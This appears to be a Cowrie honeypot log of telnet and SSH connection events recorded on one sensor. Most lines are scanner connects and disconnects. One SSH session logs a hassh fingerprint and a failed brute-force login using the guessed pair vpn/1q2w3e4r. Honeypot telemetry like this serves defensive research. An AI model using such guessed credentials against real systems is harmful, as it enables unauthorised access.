{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35036,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebdce8eb197e","protocol":"telnet","message":"New connection: 207.180.228.157:35036 (159.203.135.109:23) [session: ebdce8eb197e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:23.670764Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35046,"dst_ip":"159.203.135.109","dst_port":23,"session":"70c027ba273a","protocol":"telnet","message":"New connection: 207.180.228.157:35046 (159.203.135.109:23) [session: 70c027ba273a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:24.220714Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35054,"dst_ip":"159.203.135.109","dst_port":23,"session":"36cd83e79a17","protocol":"telnet","message":"New connection: 207.180.228.157:35054 (159.203.135.109:23) [session: 36cd83e79a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:24.522057Z"}
{"eventid":"cowrie.session.closed","duration":31.34652853012085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:25.351508Z","src_ip":"207.180.228.157","session":"1d5347f32baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40448307991028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:25.985674Z","src_ip":"207.180.228.157","session":"4f97c5d455cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825464963912964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:26.231814Z","src_ip":"207.180.228.157","session":"00e5c5930231","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.13956046104431,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:27.041434Z","src_ip":"174.138.46.234","session":"dc6bb5ead507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.235499382019043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:27.205128Z","src_ip":"207.180.228.157","session":"922807ad4393","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.478654384613037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:27.303315Z","src_ip":"207.180.228.157","session":"3f95e6d22a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.333142042160034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:27.362497Z","src_ip":"207.180.228.157","session":"3fac77bbf8b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54346,"dst_ip":"159.203.135.109","dst_port":23,"session":"325410a0526f","protocol":"telnet","message":"New connection: 207.180.228.157:54346 (159.203.135.109:23) [session: 325410a0526f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:27.654360Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54362,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47bb5249c5e","protocol":"telnet","message":"New connection: 207.180.228.157:54362 (159.203.135.109:23) [session: d47bb5249c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:28.060832Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54368,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b2dd8c2d1bf","protocol":"telnet","message":"New connection: 207.180.228.157:54368 (159.203.135.109:23) [session: 2b2dd8c2d1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:28.843453Z"}
{"eventid":"cowrie.session.closed","duration":31.126778602600098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:28.986449Z","src_ip":"207.180.228.157","session":"363f39b3c54d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.62166166305542,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:28.995611Z","src_ip":"174.138.46.234","session":"76b50258f28c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.277764320373535,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:29.006378Z","src_ip":"174.138.46.234","session":"eaec0ae7f305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.768015384674072,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:29.826440Z","src_ip":"174.138.46.234","session":"14a90242ffd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18990731239319,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:29.950691Z","src_ip":"207.180.228.157","session":"d44db3bd2869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814361810684204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:30.153086Z","src_ip":"207.180.228.157","session":"48ece4730d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54380,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba96597f987","protocol":"telnet","message":"New connection: 207.180.228.157:54380 (159.203.135.109:23) [session: 5ba96597f987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:30.240780Z"}
{"eventid":"cowrie.session.closed","duration":30.498520612716675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:30.250056Z","src_ip":"207.180.228.157","session":"898938f6c1bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.759052991867065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:30.930287Z","src_ip":"207.180.228.157","session":"8b6feb2b18b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54396,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec18f7fc4852","protocol":"telnet","message":"New connection: 207.180.228.157:54396 (159.203.135.109:23) [session: ec18f7fc4852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:31.007293Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54404,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc686064fd2a","protocol":"telnet","message":"New connection: 207.180.228.157:54404 (159.203.135.109:23) [session: dc686064fd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:31.012889Z"}
{"eventid":"cowrie.session.closed","duration":30.87315011024475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:31.357996Z","src_ip":"207.180.228.157","session":"33a555d0c32b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54406,"dst_ip":"159.203.135.109","dst_port":23,"session":"29b68c2e1581","protocol":"telnet","message":"New connection: 207.180.228.157:54406 (159.203.135.109:23) [session: 29b68c2e1581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:31.585108Z"}
{"eventid":"cowrie.session.closed","duration":31.033636569976807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:32.070561Z","src_ip":"207.180.228.157","session":"c9af2f74b232","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.952616930007935,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:32.561983Z","src_ip":"174.138.46.234","session":"492f68958a0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54418,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3e89e1beeda","protocol":"telnet","message":"New connection: 207.180.228.157:54418 (159.203.135.109:23) [session: f3e89e1beeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:32.647337Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54430,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5280739200e","protocol":"telnet","message":"New connection: 207.180.228.157:54430 (159.203.135.109:23) [session: d5280739200e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:32.922045Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54442,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a6277647806","protocol":"telnet","message":"New connection: 207.180.228.157:54442 (159.203.135.109:23) [session: 3a6277647806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:33.064251Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54456,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6c8bb630695","protocol":"telnet","message":"New connection: 207.180.228.157:54456 (159.203.135.109:23) [session: d6c8bb630695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:33.644564Z"}
{"eventid":"cowrie.session.closed","duration":30.416786670684814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:34.172003Z","src_ip":"207.180.228.157","session":"6fd86bf30ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115759134292603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:34.237707Z","src_ip":"207.180.228.157","session":"fd223b547f0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":54458,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e20ae9f4599","protocol":"telnet","message":"New connection: 207.180.228.157:54458 (159.203.135.109:23) [session: 5e20ae9f4599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:34.281121Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42600,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfd1f7adb3cb","protocol":"telnet","message":"New connection: 207.180.228.157:42600 (159.203.135.109:23) [session: dfd1f7adb3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:34.763675Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42604,"dst_ip":"159.203.135.109","dst_port":23,"session":"27d845a855d0","protocol":"telnet","message":"New connection: 207.180.228.157:42604 (159.203.135.109:23) [session: 27d845a855d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:35.550090Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":41704,"dst_ip":"159.203.135.109","dst_port":22,"session":"720031245f84","protocol":"ssh","message":"New connection: 209.38.20.25:41704 (159.203.135.109:22) [session: 720031245f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:35.793768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:35.798134Z","src_ip":"209.38.20.25","session":"720031245f84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:36.009068Z","src_ip":"209.38.20.25","session":"720031245f84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"1q2w3e4r","message":"login attempt [vpn/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:36.887837Z","src_ip":"209.38.20.25","session":"720031245f84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42610,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbe071ddf9e6","protocol":"telnet","message":"New connection: 207.180.228.157:42610 (159.203.135.109:23) [session: dbe071ddf9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:37.110010Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42618,"dst_ip":"159.203.135.109","dst_port":23,"session":"0beca564f33d","protocol":"telnet","message":"New connection: 207.180.228.157:42618 (159.203.135.109:23) [session: 0beca564f33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:37.864713Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:38.102513Z","src_ip":"209.38.20.25","session":"720031245f84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.663970947265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:38.533004Z","src_ip":"207.180.228.157","session":"cfff916d9b7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42624,"dst_ip":"159.203.135.109","dst_port":23,"session":"67f6fb76ebe5","protocol":"telnet","message":"New connection: 207.180.228.157:42624 (159.203.135.109:23) [session: 67f6fb76ebe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:38.978656Z"}
{"eventid":"cowrie.session.closed","duration":30.642099618911743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:39.346609Z","src_ip":"207.180.228.157","session":"0b1eadbdf145","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42628,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d82d844c0fd","protocol":"telnet","message":"New connection: 207.180.228.157:42628 (159.203.135.109:23) [session: 1d82d844c0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:39.490948Z"}
{"eventid":"cowrie.session.closed","duration":31.19855499267578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:39.991434Z","src_ip":"207.180.228.157","session":"730e9e5b242b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.785253524780273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:40.003702Z","src_ip":"207.180.228.157","session":"0f4ef36e01d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42640,"dst_ip":"159.203.135.109","dst_port":23,"session":"94b2a5fea4ad","protocol":"telnet","message":"New connection: 207.180.228.157:42640 (159.203.135.109:23) [session: 94b2a5fea4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:40.361404Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42646,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b20f0bf9107","protocol":"telnet","message":"New connection: 207.180.228.157:42646 (159.203.135.109:23) [session: 3b20f0bf9107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:40.429397Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42658,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f67f10f0006","protocol":"telnet","message":"New connection: 207.180.228.157:42658 (159.203.135.109:23) [session: 3f67f10f0006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:41.073883Z"}
{"eventid":"cowrie.session.closed","duration":31.2229745388031,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:43.584621Z","src_ip":"207.180.228.157","session":"cb98bc873975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567216634750366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:44.397268Z","src_ip":"207.180.228.157","session":"b7a73aceac72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42660,"dst_ip":"159.203.135.109","dst_port":23,"session":"3213a66439be","protocol":"telnet","message":"New connection: 207.180.228.157:42660 (159.203.135.109:23) [session: 3213a66439be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:44.429072Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42668,"dst_ip":"159.203.135.109","dst_port":23,"session":"2abc7c6c019f","protocol":"telnet","message":"New connection: 207.180.228.157:42668 (159.203.135.109:23) [session: 2abc7c6c019f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:44.462078Z"}
{"eventid":"cowrie.session.closed","duration":31.543368101119995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:45.428266Z","src_ip":"207.180.228.157","session":"bf2cfed280f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36408,"dst_ip":"159.203.135.109","dst_port":23,"session":"9245e6eda58b","protocol":"telnet","message":"New connection: 207.180.228.157:36408 (159.203.135.109:23) [session: 9245e6eda58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:45.603977Z"}
{"eventid":"cowrie.session.closed","duration":33.00946545600891,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:45.818543Z","src_ip":"207.180.228.157","session":"4e1a7d4cf14e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36420,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a9ef99406f","protocol":"telnet","message":"New connection: 207.180.228.157:36420 (159.203.135.109:23) [session: e8a9ef99406f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:46.528485Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36422,"dst_ip":"159.203.135.109","dst_port":23,"session":"841b64af1f92","protocol":"telnet","message":"New connection: 207.180.228.157:36422 (159.203.135.109:23) [session: 841b64af1f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:46.605432Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36432,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd4a08d7800","protocol":"telnet","message":"New connection: 207.180.228.157:36432 (159.203.135.109:23) [session: bdd4a08d7800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:46.613243Z"}
{"eventid":"cowrie.session.closed","duration":31.489184141159058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:46.731811Z","src_ip":"207.180.228.157","session":"942859c88bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36438,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f6bf721530","protocol":"telnet","message":"New connection: 207.180.228.157:36438 (159.203.135.109:23) [session: 80f6bf721530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:47.904505Z"}
{"eventid":"cowrie.session.closed","duration":30.76791763305664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:49.426497Z","src_ip":"207.180.228.157","session":"6fb2e065bcad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9972083568573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:50.237833Z","src_ip":"207.180.228.157","session":"e051c592f4f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36440,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddb6b02f5021","protocol":"telnet","message":"New connection: 207.180.228.157:36440 (159.203.135.109:23) [session: ddb6b02f5021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:50.267228Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac971e75b0e0","protocol":"telnet","message":"New connection: 207.180.228.157:36448 (159.203.135.109:23) [session: ac971e75b0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:51.333440Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36454,"dst_ip":"159.203.135.109","dst_port":23,"session":"24bb080834ba","protocol":"telnet","message":"New connection: 207.180.228.157:36454 (159.203.135.109:23) [session: 24bb080834ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:51.345138Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36456,"dst_ip":"159.203.135.109","dst_port":23,"session":"f86476e39911","protocol":"telnet","message":"New connection: 207.180.228.157:36456 (159.203.135.109:23) [session: f86476e39911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:51.493901Z"}
{"eventid":"cowrie.session.closed","duration":31.319364547729492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:51.618667Z","src_ip":"207.180.228.157","session":"fc1571bde1e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56648898124695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:53.857049Z","src_ip":"207.180.228.157","session":"1aae8fd5ca5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.553954362869263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:53.959814Z","src_ip":"207.180.228.157","session":"451e4ab7a1a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17463755607605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:54.131047Z","src_ip":"207.180.228.157","session":"cb8d90d42e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15390372276306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:54.332541Z","src_ip":"207.180.228.157","session":"c43d2108245d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5685613155365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:54.675781Z","src_ip":"207.180.228.157","session":"dd06cf4a50da","protocol":"telnet"}
